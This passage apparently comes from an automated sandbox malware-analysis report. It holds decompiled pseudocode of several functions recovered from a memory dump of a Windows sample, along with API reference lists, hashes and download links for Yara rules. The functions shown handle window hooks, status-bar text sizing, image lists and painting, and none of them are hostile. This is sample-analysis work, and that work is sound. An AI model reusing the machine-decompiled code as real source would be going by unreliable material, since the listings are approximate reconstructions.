					if(_t116 <= 0) {
						L13:
						_t77 = 0;
						goto L17;
					} else {
						_t126 =  *_t141;
						while( *_t126 != _t133) {
							_t76 = _t76 + 1;
							_t126 = _t126 + 4;
							if(_t76 < _t116) {
								continue;
							} else {
								_t77 = 0;
								L17:
								_a8 = _t77;
								_t163 = _t77;
								if(_t77 != 0) {
									 *((intOrPtr*)(_t77 + 4)) =  *((intOrPtr*)(_t77 + 4)) + 1;
								} else {
									_push(8);
									_v8 = 3;
									_t85 = E001065FC(_t126, _t133, _t141, _t163);
									if(_t85 == 0) {
										_t143 = 0;
										_a8 = 0;
									} else {
										_t143 = _t85;
										 *_t85 = 0;
										 *(_t85 + 4) = 0;
										_a8 = _t143;
									}
									_t88 = SetWindowsHookExA(3, E00100AF0,  *0x170c08, _t133);
									if(_t143 != 0) {
										_t166 = _t88;
										if(_t88 != 0) {
											 *_t143 = _t88;
											 *(_t143 + 4) = 1;
											E00101AF0( &_v24, _t166,  &_v24,  &_a8);
										}
									}
								}
								goto L24;
							}
							goto L44;
						}
						__eflags = _t76 - 0xffffffff;
						if(__eflags != 0) {
							__eflags = _t76;
							if(_t76 < 0) {
								L26:
								RaiseException(0xc000008c, 1, 0, 0);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(0xffffffff);
								_push(E0010F618);
								_push( *[fs:0x0]);
								_push(_t108);
								_push(_t141);
								_push(_t133);
								_t91 =  *0x159060; // 0x1f9a9bdf
								_push(_t91 ^ _t150);
								 *[fs:0x0] =  &_v72;
								_t144 = _v52;
								_t96 = CallWindowProcA( *(_t144 + 0x40),  *(_t144 + 4), _t126, _t116, _v48);
								__eflags =  *(_t144 + 0x84) & 0x00000002;
								_v48 = _t96;
								if(( *(_t144 + 0x84) & 0x00000002) == 0) {
									_v28 = 0x170c68;
									_v12 = 0;
									EnterCriticalSection(0x170c68);
									__eflags =  *0x171994;
									_v24 = 1;
									if( *0x171994 != 0) {
										_t111 = GetCurrentThreadId();
										_v0 = _t111;
										_t136 = E00101B70( &_v0, _t133, _t144);
										__eflags = _t136;
										if(_t136 != 0) {
											_t55 =  &(_t136[1]);
											 *_t55 = _t136[1] - 1;
											__eflags =  *_t55;
											if( *_t55 != 0) {
												L39:
												_t146 =  *0x171994; // 0x0
											} else {
												UnhookWindowsHookEx( *_t136);
												_t146 =  *0x171994; // 0x0
												_t124 =  *(_t146 + 8);
												_t101 = 0;
												__eflags = _t124;
												if(_t124 > 0) {
													_t129 =  *_t146;
													while(1) {
														__eflags =  *_t129 - _t111;
														if( *_t129 == _t111) {
															break;
														}
														_t101 = _t101 + 1;
														_t129 = _t129 + 4;
														__eflags = _t101 - _t124;
														if(_t101 < _t124) {
															continue;
														} else {
														}
														goto L40;
													}
													__eflags = _t101 - 0xffffffff;
													if(_t101 != 0xffffffff) {
														_t102 = E00102BE0(_t101, _t146);
														__eflags = _t102;
														if(_t102 != 0) {
															_push(_t136);
															E001059DB();
														}
														goto L39;
													}
												}
											}
											L40:
											__eflags =  *(_t146 + 8);
											if( *(_t146 + 8) == 0) {
												E000FFF20(_t146);
												 *0x171994 = 0;
											}
										}
									}
									LeaveCriticalSection(0x170c68);
									_t96 = _a4;
								}
								 *[fs:0x0] = _v20;
								return _t96;
							} else {
								__eflags = _t76 - _t116;
								if(__eflags >= 0) {
									goto L26;
								} else {
									_t126 = _t141[1];
									_t77 =  *((intOrPtr*)(_t141[1] + _t76 * 4));
									goto L17;
								}
							}
						} else {
							goto L13;
						}
					}
				} else {
					_push(0xc);
					_v8 = 1;
					_t105 = E001065FC(_t126, 0, SendMessageA, _t157);
					_t150 = _t150 + 4;
					if(_t105 == 0) {
						 *0x171994 = 0;
						_v8 = 0;
					} else {
						 *_t105 = 0;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *((intOrPtr*)(_t105 + 8)) = 0;
						 *0x171994 = _t105;
						_v8 = 0;
					}
					_t159 =  *0x171994; // 0x0
					if(_t159 == 0) {
						L24:
						LeaveCriticalSection(0x170c68);
						 *(_t108 + 0x85) =  *(_t108 + 0x85) ^ (GetWindowLongA( *(_t108 + 4), 0xffffffec) >> 0x00000016 << 0x00000006 ^  *(_t108 + 0x85)) & 0x00000040;
						 *[fs:0x0] = _v16;
						return _v28;
					} else {
						goto L7;
					}
				}
				L44:
			}

0x000fdc93
0x000fdc95
0x000fdca0
0x000fdca1
0x000fdca7
0x000fdcae
0x000fdcb2
0x000fdcb8
0x000fdcbb
0x000fdcd4
0x000fdcd7
0x000fdcdc
0x000fdce6
0x000fdce8
0x000fdceb
0x000fdcef
0x000fdcf2
0x000fdcf4
0x000fdcf6
0x000fdcfd
0x000fdd16
0x000fdd23
0x000fdd25
0x000fdd31
0x000fdd34
0x000fdd3a
0x000fdd3e
0x000fdd44
0x000fdd94
0x000fdd94
0x000fdd9a
0x000fdda0
0x000fdda3
0x000fdda5
0x000fdda7
0x000fddac
0x000fddc5
0x000fddc5
0x00000000
0x000fddae
0x000fddae
0x000fddb0
0x000fddb4
0x000fddb5
0x000fddba
0x00000000
0x000fddbc
0x000fddbc
0x000fdde1
0x000fdde1
0x000fdde4
0x000fdde6
0x000fde9e
0x000fddec
0x000fddec
0x000fddee
0x000fddf2
0x000fddfc
0x000fde14
0x000fde16
0x000fddfe
0x000fddfe
0x000fde00
0x000fde06
0x000fde0d
0x000fde0d
0x000fde38
0x000fde40
0x000fde42
0x000fde44
0x000fde4d
0x000fde50
0x000fde57
0x000fde57
0x000fde44
0x000fde40
0x00000000
0x000fdde6
0x00000000
0x000fddba
0x000fddc0
0x000fddc3
0x000fddc9
0x000fddcb
0x000fdea3
0x000fdeae
0x000fdeb4
0x000fdeb5
0x000fdeb6
0x000fdeb7
0x000fdeb8
0x000fdeb9
0x000fdeba
0x000fdebb
0x000fdebc
0x000fdebd
0x000fdebe
0x000fdebf
0x000fdec3
0x000fdec5
0x000fded0
0x000fded4
0x000fded5
0x000fded6
0x000fded7
0x000fdede
0x000fdee2
0x000fdee8
0x000fdef9
0x000fdeff
0x000fdf06
0x000fdf09
0x000fdf0f
0x000fdf1b
0x000fdf22
0x000fdf28
0x000fdf2f
0x000fdf33
0x000fdf3b
0x000fdf40
0x000fdf48
0x000fdf4a
0x000fdf4c
0x000fdf4e
0x000fdf4e
0x000fdf4e
0x000fdf51
0x000fdf95
0x000fdf95
0x000fdf53
0x000fdf56
0x000fdf5c
0x000fdf62
0x000fdf65
0x000fdf67
0x000fdf69
0x000fdf6b
0x000fdf70
0x000fdf70
0x000fdf72
0x00000000
0x00000000
0x000fdf74
0x000fdf75
0x000fdf78
0x000fdf7a
0x00000000
0x00000000
0x000fdf7c
0x00000000
0x000fdf7a
0x000fdf7e
0x000fdf81
0x000fdf83
0x000fdf88
0x000fdf8a
0x000fdf8c
0x000fdf8d
0x000fdf92
0x00000000
0x000fdf8a
0x000fdf81
0x000fdf69
0x000fdf9b
0x000fdf9b
0x000fdf9f
0x000fdfa1
0x000fdfa6
0x000fdfa6
0x000fdf9f
0x000fdf4c
0x000fdfb5
0x000fdfbb
0x000fdfbb
0x000fdfc1
0x000fdfcf
0x000fddd1
0x000fddd1
0x000fddd3
0x00000000
0x000fddd9
0x000fddd9
0x000fdddf
0x00000000
0x000fdddf
0x000fddd3
0x00000000
0x00000000
0x00000000
0x000fddc3
0x000fdd46
0x000fdd46
0x000fdd48
0x000fdd4c
0x000fdd51
0x000fdd56
0x000fdd6c
0x000fdd71
0x000fdd58
0x000fdd58
0x000fdd5a
0x000fdd5d
0x000fdd60
0x000fdd65
0x000fdd65
0x000fdd88
0x000fdd8e
0x000fde5c
0x000fde61
0x000fde81
0x000fde8d
0x000fde9b
0x00000000
0x00000000
0x00000000
0x000fdd8e
0x00000000

APIs

CallWindowProcA.USER32 ref: 000FDCCC

Part of subcall function 001011F0: _memset.LIBCMT ref: 00101221
Part of subcall function 001011F0: SystemParametersInfoA.USER32(00000029,00000154,00000154,00000000), ref: 00101238
Part of subcall function 001011F0: _memset.LIBCMT ref: 00101250
Part of subcall function 001011F0: GetObjectA.GDI32(?,0000003C,?), ref: 00101269
Part of subcall function 001011F0: lstrcmpA.KERNEL32(?,?,?,?,?,?,?,?), ref: 00101315
Part of subcall function 001011F0: CreateFontIndirectA.GDI32(?), ref: 00101326
Part of subcall function 001011F0: DeleteObject.GDI32(?), ref: 00101341

GetParent.USER32(?), ref: 000FDCE6
GetParent.USER32(00000000), ref: 000FDCEB
GetParent.USER32(00000000), ref: 000FDCF4
SendMessageA.USER32(?,0000041E,00000014,00000000), ref: 000FDD16
SendMessageA.USER32(?,00000430,00000000,00000000), ref: 000FDD23
EnterCriticalSection.KERNEL32(00170C68), ref: 000FDD34
GetCurrentThreadId.KERNEL32 ref: 000FDD94
SetWindowsHookExA.USER32 ref: 000FDE38
LeaveCriticalSection.KERNEL32(00170C68), ref: 000FDE61
GetWindowLongA.USER32 ref: 000FDE6D

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Parent$CriticalMessageObjectSectionSendWindow_memset$CallCreateCurrentDeleteEnterFontHookIndirectInfoLeaveLongParametersProcSystemThreadWindowslstrcmp
String ID:
API String ID: 2439703492-0
Opcode ID: 7a7038727d2904f94bd3e245e3058f81923f70bce4388a2868afcba74f5accb4
Instruction ID: d09520bf94f293343ead0d157aa48b35cd56170df8360086ac0d6bba74389c45
Opcode Fuzzy Hash: 7a7038727d2904f94bd3e245e3058f81923f70bce4388a2868afcba74f5accb4
Instruction Fuzzy Hash: 3F51C271A00209EFDB11DF68DD41BBA7BF9EB98714F14816AEA09DB681D7B0D840DB60

Uniqueness

Uniqueness Score: -1.00%

Function 000FAA10 Relevance: 18.2, APIs: 12, Instructions: 166
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E000FAA10(void* __ecx, intOrPtr __edx, void* __eflags) {
				int _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				char _v155;
				char _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				void* _v168;
				void* _v688;
				char _v692;
				intOrPtr _v696;
				void* _v700;
				struct tagSIZE _v708;
				struct HWND__* _v712;
				struct HDC__* _v720;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t77;
				signed int _t78;
				long _t86;
				struct HWND__* _t88;
				void* _t92;
				int _t98;
				int _t101;
				intOrPtr _t104;
				long _t105;
				void* _t112;
				void* _t113;
				void* _t143;
				void* _t146;
				void* _t147;
				struct HDC__* _t148;
				signed int _t149;
				struct HDC__* _t150;
				intOrPtr _t152;
				void* _t153;
				void* _t154;
				long _t155;
				signed int _t156;
				void* _t157;
				void* _t161;

				_t161 = __eflags;
				_push(0xffffffff);
				_push(E0010F31B);
				_push( *[fs:0x0]);
				_t77 =  *0x159060; // 0x1f9a9bdf
				_t78 = _t77 ^ _t156;
				_v24 = _t78;
				_push(_t146);
				_push(_t78);
				 *[fs:0x0] =  &_v16;
				_v20 = _t157 - 0x2c4;
				_t112 = __ecx;
				_t152 = __edx;
				_push( *((intOrPtr*)(__ecx + 0x28)));
				_v700 = __ecx;
				_v696 = __edx;
				 *(__ecx + 0x24) = 3;
				E001062C2();
				 *(_t112 + 0x28) = 0;
				_v8 = 0;
				_t135 = 0xc >> 0x20;
				_push( ~(0 | _t161 > 0x00000000) | 0xc);
				 *(_t112 + 0x28) = E00105DD7(0xc >> 0x20, _t146, __edx, _t161);
				_t86 =  *(_t112 + 0x28);
				if(_t86 != 0) {
					_v692 =  &_v688;
					 *_t86 =  *((intOrPtr*)(__edx));
					 *((intOrPtr*)(_t86 + 4)) =  *((intOrPtr*)(__edx + 4));
					 *((intOrPtr*)(_t86 + 8)) =  *((intOrPtr*)(__edx + 8));
					_t88 =  *(_t112 + 4);
					_v712 = _t88;
					_t148 = GetDC(_t88);
					_v720 = _t148;
					_t92 = SelectObject(_t148, SendMessageA( *(_t112 + 4), 0x31, 0, 0));
					_t149 = 0;
					_v700 = _t92;
					_v168 = 0;
					_v164 = 0;
					_v160 = 0;
					SendMessageA( *(_t112 + 4), 0x407, 0,  &_v168);
					_v156 = 0;
					E00106820( &_v155, 0, 0x7f);
					_v708.cx = 0;
					_v708.cy = 0;
					_v696 = _v168;
					_t154 = _t152 -  &_v688;
					do {
						_t98 =  *(_t156 + _t154 + _t149 * 4 - 0x2ac);
						if(_t98 != 0) {
							LoadStringA( *0x170c0c, _t98,  &_v156, 0x80);
							_t101 = lstrlenA( &_v156);
							__eflags = _t101 - 0xffffffff;
							if(_t101 == 0xffffffff) {
								_t101 = lstrlenA( &_v156);
							}
							GetTextExtentPoint32A(_v720,  &_v156, _t101,  &_v708);
							_t143 = _v160 + _v696;
							__eflags = _t143;
							 *((intOrPtr*)(_t156 + _t149 * 4 - 0x2ac)) = _t143 + _v708.cx + 6;
						} else {
							 *((intOrPtr*)(_t156 + _t149 * 4 - 0x2ac)) = 0x3fffffff;
						}
						_t104 =  *((intOrPtr*)(_t156 + _t149 * 4 - 0x2ac));
						_t149 = _t149 + 1;
						_v696 = _t104;
					} while (_t149 < 3);
					_t105 = SendMessageA( *(_t112 + 4), 0x404, 3,  &_v688);
					_t150 = _v720;
					_t155 = _t105;
					SelectObject(_t150, _v700);
					ReleaseDC(_v712, _t150);
					_t135 =  &_v688;
					if(_v692 !=  &_v688) {
						E000FD040( &_v692);
					}
					_t86 = _t155;
				}
				 *[fs:0x0] = _v16;
				_pop(_t147);
				_pop(_t153);
				_pop(_t113);
				return E001059E6(_t86, _t113, _v24 ^ _t156, _t135, _t147, _t153);
			}

0x000faa10
0x000faa13
0x000faa15
0x000faa20
0x000faa27
0x000faa2c
0x000faa2e
0x000faa33
0x000faa34
0x000faa38
0x000faa3e
0x000faa41
0x000faa46
0x000faa48
0x000faa49
0x000faa4f
0x000faa55
0x000faa5c
0x000faa63
0x000faa66
0x000faa75
0x000faa7e
0x000faa87
0x000faa9e
0x000faaa3
0x000faab1
0x000faab7
0x000faabc
0x000faac2
0x000faac5
0x000faac9
0x000faad9
0x000faae1
0x000faaef
0x000faaff
0x000fab02
0x000fab10
0x000fab16
0x000fab1c
0x000fab22
0x000fab32
0x000fab39
0x000fab4d
0x000fab53
0x000fab59
0x000fab5f
0x000fab61
0x000fab64
0x000fab6d
0x000fab90
0x000fab9d
0x000faba3
0x000faba6
0x000fabaf
0x000fabaf
0x000fabcb
0x000fabd7
0x000fabd7
0x000fabe7
0x000fab6f
0x000fab6f
0x000fab6f
0x000fabee
0x000fabf5
0x000fabf6
0x000fabfc
0x000fac17
0x000fac1d
0x000fac23
0x000fac2d
0x000fac3b
0x000fac41
0x000fac4d
0x000fac55
0x000fac55
0x000fac5a
0x000fac5a
0x000fac5f
0x000fac67
0x000fac68
0x000fac69
0x000fac77

APIs

GetDC.USER32(?), ref: 000FAACF
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 000FAAE7
SelectObject.GDI32(00000000,00000000), ref: 000FAAEF
SendMessageA.USER32(?,00000407,00000000,?), ref: 000FAB22
_memset.LIBCMT ref: 000FAB39
LoadStringA.USER32 ref: 000FAB90
lstrlenA.KERNEL32(00000000), ref: 000FAB9D
lstrlenA.KERNEL32(00000000), ref: 000FABAF
GetTextExtentPoint32A.GDI32(?,00000000,00000000,?), ref: 000FABCB
SendMessageA.USER32(?,00000404,00000003,?), ref: 000FAC17
SelectObject.GDI32(?,?), ref: 000FAC2D
ReleaseDC.USER32 ref: 000FAC3B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$ObjectSelectlstrlen$ExtentLoadPoint32ReleaseStringText_memset
String ID:
API String ID: 1950834119-0
Opcode ID: 09dbddf024d8ca059c1d3f057b47c2f935aa80f999d87f8b7ff1c20223c1a918
Instruction ID: e422eb4d74192d153baec585d96d61a3eacc80bfa5122519003b3eb857971d9c
Opcode Fuzzy Hash: 09dbddf024d8ca059c1d3f057b47c2f935aa80f999d87f8b7ff1c20223c1a918
Instruction Fuzzy Hash: AD612AB1A05219DFDB24CF64DD88BAABBB9FF89300F108599E50D97291DB709E80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 000FDA60 Relevance: 18.1, APIs: 12, Instructions: 147
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E000FDA60(void* __edi, CHAR* _a4) {
				int _v8;
				char _v16;
				void* _v20;
				signed int _v24;
				short* _v28;
				void* __ebx;
				void* __esi;
				signed int _t42;
				struct HRSRC__* _t46;
				void* _t48;
				void* _t53;
				signed int _t55;
				int _t57;
				struct HINSTANCE__* _t66;
				void* _t73;
				short* _t76;
				signed int _t89;
				void* _t96;
				struct HINSTANCE__* _t98;
				void* _t101;
				signed int _t108;

				_t96 = __edi;
				_push(0xffffffff);
				_push(E0010F678);
				_push( *[fs:0x0]);
				_t42 =  *0x159060; // 0x1f9a9bdf
				_push(_t42 ^ _t108);
				 *[fs:0x0] =  &_v16;
				_t98 =  *0x170c0c;
				_t46 = FindResourceA(_t98, _a4, 0xf1);
				if(_t46 == 0) {
					L11:
					 *[fs:0x0] = _v16;
					return 0;
				} else {
					_t48 = LoadResource(_t98, _t46);
					if(_t48 == 0) {
						goto L11;
					} else {
						_t73 = LockResource(_t48);
						if(_t73 == 0) {
							goto L11;
						} else {
							_t89 =  *(_t73 + 6) & 0x0000ffff;
							_t5 = _t73 + 8; // 0x8
							_v28 = _t5;
							_v24 = _t89;
							E000FDA00( *(_t73 + 4) & 0x0000ffff,  *(_t73 + 2) & 0x0000ffff, __edi);
							if( *((intOrPtr*)(__edi + 0x48)) != 0) {
								L5:
								_v8 = 0;
								if(( *(_t96 + 0x85) & 0x00000020) == 0) {
									_t53 = LoadBitmapA( *0x170c0c, _a4);
									_v20 = _t53;
									_t101 = _t53;
								} else {
									_t101 = LoadImageA( *0x170c0c, _a4, 0, 0, 0, 0x2040);
									_v20 = _t101;
								}
								if(_t101 == 0) {
									goto L11;
								} else {
									if(ImageList_AddMasked( *(_t96 + 0x48), _t101,  *(_t96 + 0xa0)) != 0xffffffff) {
										_t55 = _v24;
										if(_t55 > 0) {
											_t76 = _v28;
											_v24 = _t55;
											do {
												if( *_t76 != 0) {
													E000FA220(_t76, _t96 + 0x4c);
													_t101 = _v20;
												}
												_t76 = _t76 + 2;
												_t35 =  &_v24;
												 *_t35 = _v24 - 1;
											} while ( *_t35 != 0);
										}
										_t57 = ImageList_GetImageCount( *(_t96 + 0x48));
										_push(_t101);
										if(_t57 ==  *((intOrPtr*)(_t96 + 0x50))) {
											DeleteObject();
											 *[fs:0x0] = _v16;
											return 1;
										} else {
											DeleteObject();
											 *[fs:0x0] = _v16;
											return 0;
										}
									} else {
										E000FA480( &_v20);
										goto L11;
									}
								}
							} else {
								_t66 =  *0x170c0c;
								 *(__edi + 0x85) =  *(__edi + 0x85) ^ ((_t89 & 0xffffff00 |  *((short*)(LockResource(LoadResource(_t66, FindResourceA(_t66, _a4, 2))) + 0xe)) == 0x00000020) << 0x00000005 ^  *(__edi + 0x85)) & 0x00000020;
								if(E00101660( *(_t73 + 6) & 0x0000ffff, __edi) == 0) {
									goto L11;
								} else {
									goto L5;
								}
							}
						}
					}
				}
			}

0x000fda60
0x000fda63
0x000fda65
0x000fda70
0x000fda76
0x000fda7d
0x000fda81
0x000fda8a
0x000fda97
0x000fda9f
0x000fdb9f
0x000fdba4
0x000fdbb1
0x000fdaa5
0x000fdaa7
0x000fdaaf
0x00000000
0x000fdab5
0x000fdabc
0x000fdac0
0x00000000
0x000fdac6
0x000fdac6
0x000fdace
0x000fdad1
0x000fdada
0x000fdadd
0x000fdae6
0x000fdb34
0x000fdb34
0x000fdb42
0x000fdb71
0x000fdb77
0x000fdb7a
0x000fdb44
0x000fdb60
0x000fdb62
0x000fdb62
0x000fdb7e
0x00000000
0x000fdb80
0x000fdb95
0x000fdbb4
0x000fdbb9
0x000fdbbb
0x000fdbbe
0x000fdbc1
0x000fdbc5
0x000fdbca
0x000fdbcf
0x000fdbcf
0x000fdbd2
0x000fdbd5
0x000fdbd5
0x000fdbd5
0x000fdbc1
0x000fdbde
0x000fdbe4
0x000fdbe8
0x000fdc05
0x000fdc13
0x000fdc20
0x000fdbea
0x000fdbea
0x000fdbf5
0x000fdc02
0x000fdc02
0x000fdb97
0x000fdb9a
0x00000000
0x000fdb9a
0x000fdb95
0x000fdae8
0x000fdaeb
0x000fdb21
0x000fdb32
0x00000000
0x00000000
0x00000000
0x00000000
0x000fdb32
0x000fdae6
0x000fdac0
0x000fdaaf

APIs

FindResourceA.KERNEL32(000F0000,000F7D7D,000000F1), ref: 000FDA97
LoadResource.KERNEL32(000F0000,00000000,?,00000000,?,000F7D7D,00000080), ref: 000FDAA7
LockResource.KERNEL32(00000000,?,00000000,?,000F7D7D,00000080), ref: 000FDAB6
FindResourceA.KERNEL32(000F0000,000F7D7D,00000002), ref: 000FDAF6
LoadResource.KERNEL32(000F0000,00000000,?,00000000,?,000F7D7D,00000080), ref: 000FDAFE
LockResource.KERNEL32(00000000,?,00000000,?,000F7D7D,00000080), ref: 000FDB05

Part of subcall function 00101660: ImageList_Create.COMCTL32(?,?,00000000,?,00000001,?,?,?,?,?,?,?,?,000FDB30,?,00000000), ref: 0010168B

LoadImageA.USER32 ref: 000FDB5A
LoadBitmapA.USER32 ref: 000FDB71
ImageList_AddMasked.COMCTL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,000F7D7D), ref: 000FDB8C
ImageList_GetImageCount.COMCTL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,000F7D7D), ref: 000FDBDE
DeleteObject.GDI32(00000000), ref: 000FDBEA
DeleteObject.GDI32(00000000), ref: 000FDC05

Part of subcall function 000FDA00: ImageList_GetImageCount.COMCTL32(?,?,00000000,000FDAE2,?,00000000,?,000F7D7D,00000080), ref: 000FDA0E
Part of subcall function 000FDA00: ImageList_Destroy.COMCTL32(?,?,00000000,?,000F7D7D,00000080), ref: 000FDA1C

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Image$Resource$List_$Load$CountDeleteFindLockObject$BitmapCreateDestroyMasked
String ID:
API String ID: 3830000767-0
Opcode ID: 804b26563dff75b449e6ea6b19a8d40239b6b62ad9673de7c4421f6336f9fc6c
Instruction ID: 20e4f591b4b079d7d3583660708625ecaa7cc64641c368b8c0977766099ace72
Opcode Fuzzy Hash: 804b26563dff75b449e6ea6b19a8d40239b6b62ad9673de7c4421f6336f9fc6c
Instruction Fuzzy Hash: 2151E371A00219EFDB15CF64DC89BBAB7B9FB08310F008256FA05E7A80DB74AC80D790

Uniqueness

Uniqueness Score: -1.00%

Function 001016A0 Relevance: 18.1, APIs: 12, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E001016A0(void* __ecx, RECT* __edx, struct HDC__* _a4) {
				long _v8;
				char _v16;
				signed int _v24;
				struct tagRECT _v40;
				struct tagRECT _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t36;
				long _t44;
				intOrPtr _t45;
				int _t56;
				void* _t59;
				void* _t60;
				RECT* _t77;
				void* _t79;
				void* _t81;
				void* _t85;
				void* _t86;
				signed int _t87;

				_push(0xffffffff);
				_push(E0010F255);
				_push( *[fs:0x0]);
				_t35 =  *0x159060; // 0x1f9a9bdf
				_t36 = _t35 ^ _t87;
				_v24 = _t36;
				_push(_t36);
				 *[fs:0x0] =  &_v16;
				_t81 = __ecx;
				_t77 = __edx;
				_v8 = 0;
				_v56.left = 0;
				_v56.top = 0;
				_v56.right = 0;
				_v56.bottom = 0;
				GetClientRect( *(__ecx + 4),  &_v56);
				_v40.top = _v56.top;
				_v40.left = _v56.left;
				_v40.right = _v56.right;
				_v40.bottom = _v56.bottom;
				InflateRect( &_v40, 0xfffffff6, 0xfffffff6);
				_t44 = _v40.left;
				if(_t44 > _v40.right) {
					_v40.right = _t44;
				}
				_t45 = _v40.top;
				if(_t45 > _v40.bottom) {
					_v40.bottom = _t45;
				}
				E000F6860(_t77,  &_v40, _t81 + 0x24);
				_t59 = CreateRectRgnIndirect(_t77);
				_t85 = CreateRectRgnIndirect( &_v56);
				CombineRgn(_t85, _t85, _t59, 4);
				SelectClipRgn(_a4, _t85);
				FillRect(_a4,  &_v56, 0x11);
				_t75 = _a4;
				SelectClipRgn(_a4, 0);
				_t56 = FillRect(_a4, _t77, GetStockObject(0));
				if(_t85 != 0) {
					_t56 = DeleteObject(_t85);
				}
				if(_t59 != 0) {
					_t56 = DeleteObject(_t59);
				}
				 *[fs:0x0] = _v16;
				_pop(_t79);
				_pop(_t86);
				_pop(_t60);
				return E001059E6(_t56, _t60, _v24 ^ _t87, _t75, _t79, _t86);
			}

0x001016a3
0x001016a5
0x001016b0
0x001016b4
0x001016b9
0x001016bb
0x001016c1
0x001016c5
0x001016cb
0x001016cd
0x001016d1
0x001016d7
0x001016da
0x001016dd
0x001016e0
0x001016e8
0x001016f9
0x001016fc
0x00101708
0x0010170b
0x0010170e
0x00101714
0x0010171a
0x0010171c
0x0010171c
0x0010171f
0x00101725
0x00101727
0x00101727
0x00101733
0x00101745
0x0010174b
0x00101750
0x0010175b
0x0010176b
0x00101771
0x00101777
0x0010178b
0x00101799
0x0010179c
0x0010179c
0x001017a0
0x001017a3
0x001017a3
0x001017a8
0x001017b0
0x001017b1
0x001017b2
0x001017c0

APIs

GetClientRect.USER32 ref: 001016E8
InflateRect.USER32(?,000000F6,000000F6), ref: 0010170E
CreateRectRgnIndirect.GDI32(?), ref: 0010173F
CreateRectRgnIndirect.GDI32(?), ref: 00101747
CombineRgn.GDI32(00000000,00000000,00000000,00000004), ref: 00101750
SelectClipRgn.GDI32(?,00000000), ref: 0010175B
FillRect.USER32 ref: 0010176B
SelectClipRgn.GDI32(?,00000000), ref: 00101777
GetStockObject.GDI32(00000000), ref: 0010177F
FillRect.USER32 ref: 0010178B
DeleteObject.GDI32(00000000), ref: 0010179C
DeleteObject.GDI32(00000000), ref: 001017A3

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Rect$Object$ClipCreateDeleteFillIndirectSelect$ClientCombineInflateStock
String ID:
